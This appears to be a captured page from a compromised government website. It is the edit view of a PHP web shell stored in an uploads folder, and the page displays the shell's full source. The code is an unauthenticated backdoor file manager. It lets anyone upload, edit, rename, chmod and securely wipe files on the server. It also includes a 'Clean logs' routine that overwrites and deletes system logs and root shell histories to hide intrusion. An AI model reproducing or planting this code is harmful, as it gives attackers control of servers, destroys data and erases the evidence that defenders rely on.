Edit /home/dnsimamg/sclt.gov.iq/public/uploads/links/file-1789746184.php

<title>Edit /home/dnsimamg/sclt.gov.iq/public/uploads/links/file-1789746184.php</title><center>
    <form method=POST action='?dir=%2Fhome%2Fdnsimamg%2Fsclt.gov.iq%2Fpublic%2Fuploads%2Flinks'>
    <input type=hidden name=edit_file value='/home/dnsimamg/sclt.gov.iq/public/uploads/links/file-1789746184.php'>
    <textarea name=content rows=25 cols=100 style='font-family:monospace'>&lt;?php
/*
Version 0.6 - file manager edition
https://github.com/guglia001/php-secure-remove
*/
error_reporting(E_ERROR | E_PARSE);

/* ---------- path aktif ---------- */
$path = empty($_GET[&#039;dir&#039;]) ? getcwd() : $_GET[&#039;dir&#039;];
$path = rtrim($path, &#039;/&#039;);
@chdir($path);

/* ---------- aksi POST / GET ---------- */
$msg = &quot;&quot;;

// Upload file
if (isset($_FILES[&#039;upfile&#039;])) {
    $dest = $path . &#039;/&#039; . basename($_FILES[&#039;upfile&#039;][&#039;name&#039;]);
    if (move_uploaded_file($_FILES[&#039;upfile&#039;][&#039;tmp_name&#039;], $dest))
        $msg = &quot;Uploaded: &quot; . htmlspecialchars($dest);
    else
        $msg = &quot;Upload failed: &quot; . htmlspecialchars($_FILES[&#039;upfile&#039;][&#039;error&#039;]);
}

// Rename
if (isset($_POST[&#039;do_rename&#039;])) {
    $old = $_POST[&#039;rename_from&#039;]; $new = $path . &#039;/&#039; . basename($_POST[&#039;rename_to&#039;]);
    $msg = @rename($old, $new) ? &quot;Renamed -&gt; &quot; . htmlspecialchars($new) : &quot;Rename failed&quot;;
}

// Edit / simpan file
if (isset($_POST[&#039;do_edit&#039;])) {
    $f = $_POST[&#039;edit_file&#039;];
    $msg = @file_put_contents($f, $_POST[&#039;content&#039;]) !== false
        ? &quot;Saved: &quot; . htmlspecialchars($f) : &quot;Save failed&quot;;
}

// Chmod
if (isset($_POST[&#039;do_chmod&#039;])) {
    $f = $_POST[&#039;chmod_file&#039;];
    $mode = octdec((int)$_POST[&#039;chmod_val&#039;]);
    $msg = @chmod($f, $mode) ? &quot;Chmod &quot; . decoct($mode) . &quot;: &quot; . htmlspecialchars($f) : &quot;Chmod failed&quot;;
}

// Buat folder
if (isset($_POST[&#039;do_mkdir&#039;])) {
    $msg = @mkdir($path . &#039;/&#039; . $_POST[&#039;mkdir_name&#039;], 0755)
        ? &quot;Folder created&quot; : &quot;mkdir failed&quot;;
}

// Buat file
if (isset($_POST[&#039;do_mkfile&#039;])) {
    $f = $path . &#039;/&#039; . basename($_POST[&#039;mkfile_name&#039;]);
    $msg = @file_put_contents($f, &#039;&#039;) !== false ? &quot;File created&quot; : &quot;Create failed&quot;;
}

// Delete (dengan secure overwrite)
if (isset($_GET[&#039;rw&#039;]) &amp;&amp; (isset($_GET[&#039;delete&#039;]) || isset($_GET[&#039;delete_arr&#039;]))) {
    if (isset($_GET[&#039;delete_arr&#039;])) {
        foreach ((array)$_GET[&#039;delete_arr&#039;] as $file) srm($file, (int)$_GET[&#039;rw&#039;]);
    }
    if (isset($_GET[&#039;delete&#039;])) srm($_GET[&#039;delete&#039;], (int)$_GET[&#039;rw&#039;]);
}

// Edit file (GET render form)
if (isset($_GET[&#039;edit&#039;])) {
    $f = $_GET[&#039;edit&#039;];
    echo &quot;&lt;title&gt;Edit &quot; . htmlspecialchars($f) . &quot;&lt;/title&gt;&lt;center&gt;
    &lt;form method=POST action=&#039;?dir=&quot; . urlencode($path) . &quot;&#039;&gt;
    &lt;input type=hidden name=edit_file value=&#039;&quot; . htmlspecialchars($f) . &quot;&#039;&gt;
    &lt;textarea name=content rows=25 cols=100 style=&#039;font-family:monospace&#039;&gt;&quot; .
    htmlspecialchars(@file_get_contents($f)) . &quot;&lt;/textarea&gt;&lt;br&gt;
    &lt;input type=submit name=do_edit value=&#039;Save&#039;&gt;&lt;/form&gt;
    &lt;a href=&#039;?dir=&quot; . urlencode($path) . &quot;&#039;&gt;[ back ]&lt;/a&gt;&lt;/center&gt;&quot;;
    exit;
}

// Rename form (GET render form)
if (isset($_GET[&#039;rename&#039;])) {
    $f = $_GET[&#039;rename&#039;];
    echo &quot;&lt;title&gt;Rename&lt;/title&gt;&lt;center&gt;
    &lt;form method=POST action=&#039;?dir=&quot; . urlencode($path) . &quot;&#039;&gt;
    &lt;input type=hidden name=rename_from value=&#039;&quot; . htmlspecialchars($f) . &quot;&#039;&gt;
    New name: &lt;input type=text name=rename_to value=&#039;&quot; .
    htmlspecialchars(basename($f)) . &quot;&#039;&gt;
    &lt;input type=submit name=do_rename value=&#039;Rename&#039;&gt;&lt;/form&gt;
    &lt;a href=&#039;?dir=&quot; . urlencode($path) . &quot;&#039;&gt;[ back ]&lt;/a&gt;&lt;/center&gt;&quot;;
    exit;
}

/* ---------- UI ---------- */
echo &quot;&lt;title&gt; srm.php &lt;/title&gt;&quot;;
$scans = range(&quot;B&quot;, &quot;Z&quot;);
foreach ($scans as $drive) {
    $drive .= &quot;:\\&quot;;
    if (is_dir($drive)) echo &quot;&amp;nbsp;&amp;nbsp;&lt;a href=?dir=&quot; . urlencode($drive) . &quot;&gt;$drive&lt;/a&gt;&quot;;
}
echo &quot;&lt;center&gt;&quot;;
if ($msg) echo &quot;&lt;p style=&#039;color:lime;background:#111&#039;&gt;&lt;b&gt;$msg&lt;/b&gt;&lt;/p&gt;&quot;;
echo &quot;
&lt;form action=&#039;&#039; method=GET&gt;
Directory : &lt;input type=text name=dir value=&#039;&quot; . htmlspecialchars($path) . &quot;&#039;&gt;&lt;input type=submit value=Enter&gt;
&lt;/form&gt;

&lt;form method=POST action=&#039;?dir=&quot; . urlencode($path) . &quot;&#039; enctype=multipart/form-data&gt;
Upload : &lt;input type=file name=upfile&gt; &lt;input type=submit value=&#039;Upload&#039;&gt;
&lt;/form&gt;

&lt;form method=POST action=&#039;?dir=&quot; . urlencode($path) . &quot;&#039;&gt;
New folder: &lt;input type=text name=mkdir_name&gt; &lt;input type=submit name=do_mkdir value=&#039;Mkdir&#039;&gt;
&amp;nbsp;|&amp;nbsp; New file: &lt;input type=text name=mkfile_name&gt; &lt;input type=submit name=do_mkfile value=&#039;Create&#039;&gt;
&lt;/form&gt;&quot;;

$archivos = array(&#039;dir&#039; =&gt; array(), &#039;file&#039; =&gt; array());
if ($d = @dir($path)) {
    while ($archivo = $d-&gt;read()) {
        if ($archivo === &#039;.&#039; || $archivo === &#039;..&#039;) continue;
        $ver = @filetype($path . &#039;/&#039; . $archivo);
        if ($ver == &quot;dir&quot;) $archivos[&#039;dir&#039;][] = $path . &#039;/&#039; . $archivo;
        else $archivos[&#039;file&#039;][] = $path . &#039;/&#039; . $archivo;
    }
    $d-&gt;close();
}
sort($archivos[&#039;dir&#039;]); sort($archivos[&#039;file&#039;]);

echo &quot;Directories: &quot; . count($archivos[&#039;dir&#039;]) . &quot; | Files: &quot; . count($archivos[&#039;file&#039;]) . &quot;&lt;br&gt;&quot;;
echo &quot;&lt;table border=1 cellpadding=4&gt;
&lt;tr&gt;&lt;td&gt;Name&lt;/td&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Size&lt;/td&gt;&lt;td&gt;Modification time&lt;/td&gt;&lt;td&gt;Perms&lt;/td&gt;&lt;td&gt;Action&lt;/td&gt;&lt;/tr&gt;&quot;;

foreach ($archivos[&#039;dir&#039;] as $dirs) {
    $bn = htmlspecialchars(pathinfo($dirs, PATHINFO_BASENAME));
    echo &quot;&lt;tr&gt;
    &lt;td&gt;&lt;a href=?dir=&quot; . urlencode($dirs) . &quot;&gt;📁 $bn&lt;/a&gt;&lt;/td&gt;
    &lt;td&gt;Directory&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;
    &lt;td&gt;&quot; . date(&quot;Y-m-d H:i:s&quot;, filemtime($dirs)) . &quot;&lt;/td&gt;
    &lt;td&gt;&quot; . dame($dirs) . &quot;&lt;/td&gt;
    &lt;td&gt;
      &lt;a href=&#039;?dir=&quot; . urlencode($path) . &quot;&amp;rename=&quot; . urlencode($dirs) . &quot;&#039;&gt;Rename&lt;/a&gt;
      &lt;form method=POST action=&#039;?dir=&quot; . urlencode($path) . &quot;&#039; style=display:inline&gt;
        &lt;input type=hidden name=chmod_file value=&#039;&quot; . htmlspecialchars($dirs) . &quot;&#039;&gt;
        &lt;input type=text name=chmod_val size=4 value=&#039;&quot; . dame($dirs) . &quot;&#039;&gt;
        &lt;input type=submit name=do_chmod value=&#039;Chmod&#039;&gt;
      &lt;/form&gt;
    &lt;/td&gt;&lt;/tr&gt;&quot;;
}

foreach ($archivos[&#039;file&#039;] as $files) {
    $bn = htmlspecialchars(pathinfo($files, PATHINFO_BASENAME));
    echo &quot;&lt;tr&gt;
    &lt;td&gt;$bn&lt;/td&gt;
    &lt;td&gt;File&lt;/td&gt;
    &lt;td&gt;&quot; . view_size(filesize($files)) . &quot;&lt;/td&gt;
    &lt;td&gt;&quot; . date(&quot;Y-m-d H:i:s&quot;, filemtime($files)) . &quot;&lt;/td&gt;
    &lt;td&gt;&quot; . dame($files) . &quot;&lt;/td&gt;
    &lt;td&gt;
      &lt;a href=&#039;?dir=&quot; . urlencode($path) . &quot;&amp;edit=&quot; . urlencode($files) . &quot;&#039;&gt;Edit&lt;/a&gt;
      &lt;a href=&#039;?dir=&quot; . urlencode($path) . &quot;&amp;rename=&quot; . urlencode($files) . &quot;&#039;&gt;Rename&lt;/a&gt;
      &lt;a href=&#039;?dir=&quot; . urlencode($path) . &quot;&amp;delete=&quot; . urlencode($files) . &quot;&amp;rw=1&#039; onclick=\&quot;return confirm(&#039;Secure-delete this file?&#039;)\&quot;&gt;Delete&lt;/a&gt;
      &lt;form method=POST action=&#039;?dir=&quot; . urlencode($path) . &quot;&#039; style=display:inline&gt;
        &lt;input type=hidden name=chmod_file value=&#039;&quot; . htmlspecialchars($files) . &quot;&#039;&gt;
        &lt;input type=text name=chmod_val size=4 value=&#039;&quot; . dame($files) . &quot;&#039;&gt;
        &lt;input type=submit name=do_chmod value=&#039;Chmod&#039;&gt;
      &lt;/form&gt;
    &lt;/td&gt;&lt;/tr&gt;&quot;;
}
echo &quot;&lt;/table&gt;&quot;;

// mass secure delete seperti versi asli
echo &quot;&lt;form action=&#039;?dir=&quot; . urlencode($path) . &quot;&#039; method=GET&gt;&lt;table border=1&gt;&lt;tr&gt;&quot;;
echo &quot;&lt;td&gt;Name&lt;/td&gt;&lt;td&gt;Delete&lt;/td&gt;&lt;/tr&gt;&quot;;
foreach ($archivos[&#039;file&#039;] as $files) {
    echo &quot;&lt;tr&gt;&lt;td&gt;&quot; . htmlspecialchars(basename($files)) . &quot;&lt;/td&gt;
    &lt;td&gt;&lt;input type=checkbox name=&#039;delete_arr[]&#039; value=&#039;&quot; . htmlspecialchars($files) . &quot;&#039;&gt;&lt;/td&gt;&lt;/tr&gt;&quot;;
}
echo &quot;&lt;/table&gt; Secure-rewrite passes &lt;input type=number name=rw value=30&gt;
&lt;input type=submit value=&#039;Secure Delete&#039;&gt;&lt;/form&gt;&quot;;

echo &quot;&lt;form method=GET action=&#039;&#039;&gt;
&lt;input type=hidden name=cleanlogs value=1&gt;
&lt;input type=submit value=&#039;Clean logs&#039;&gt;&lt;/form&gt;
&lt;/center&gt;&quot;;

/* ---------- fungsi ---------- */
function srm($file, $rw = 30) {
    if (!@file_exists($file)) return;
    @chmod($file, 0777);
    $size = filesize($file);
    $dest = @fopen($file, &#039;wb&#039;);
    if ($dest) {
        $zero = str_repeat(&quot;\0&quot;, 65536);
        for ($i = 0; $i &lt; $rw; $i++) {
            fseek($dest, 0);
            $written = 0;
            while ($written &lt; $size) {
                $len = min(65536, $size - $written);
                fwrite($dest, $zero, $len);
                $written += $len;
            }
        }
        fclose($dest);
    }
    echo &quot;&lt;center&gt;Deleted: &quot; . htmlspecialchars($file) . &quot;&lt;/center&gt;&quot;;
    @unlink($file);
}

function view_size($size) {
    if (!is_numeric($size)) return FALSE;
    if ($size &gt;= 1073741824) $size = round($size/1073741824*100)/100 . &quot; GB&quot;;
    elseif ($size &gt;= 1048576) $size = round($size/1048576*100)/100 . &quot; MB&quot;;
    elseif ($size &gt;= 1024) $size = round($size/1024*100)/100 . &quot; KB&quot;;
    else $size .= &quot; B&quot;;
    return $size;
}

function dame($file) {
    return substr(sprintf(&#039;%o&#039;, fileperms($file)), -4);
}

if ($_GET[&#039;cleanlogs&#039;] == 1) {
    $paths = array(&quot;/var/log/lastlog&quot;,&quot;/var/log/telnetd&quot;,&quot;/var/run/utmp&quot;,&quot;/var/log/secure&quot;,&quot;/root/.ksh_history&quot;,&quot;/root/.bash_history&quot;,&quot;/var/log/wtmp&quot;,&quot;/etc/utmp&quot;,&quot;/var/log/lastlog&quot;,&quot;/var/log/messages&quot;,&quot;/var/log/secure&quot;,&quot;/var/log/auth.log&quot;,&quot;/var/log/syslog&quot;,&quot;/var/log/wtmp&quot;);
    foreach ($paths as $p) srm($p, 10);
}
?&gt;</textarea><br>
    <input type=submit name=do_edit value='Save'></form>
    <a href='?dir=%2Fhome%2Fdnsimamg%2Fsclt.gov.iq%2Fpublic%2Fuploads%2Flinks'>[ back ]</a></center>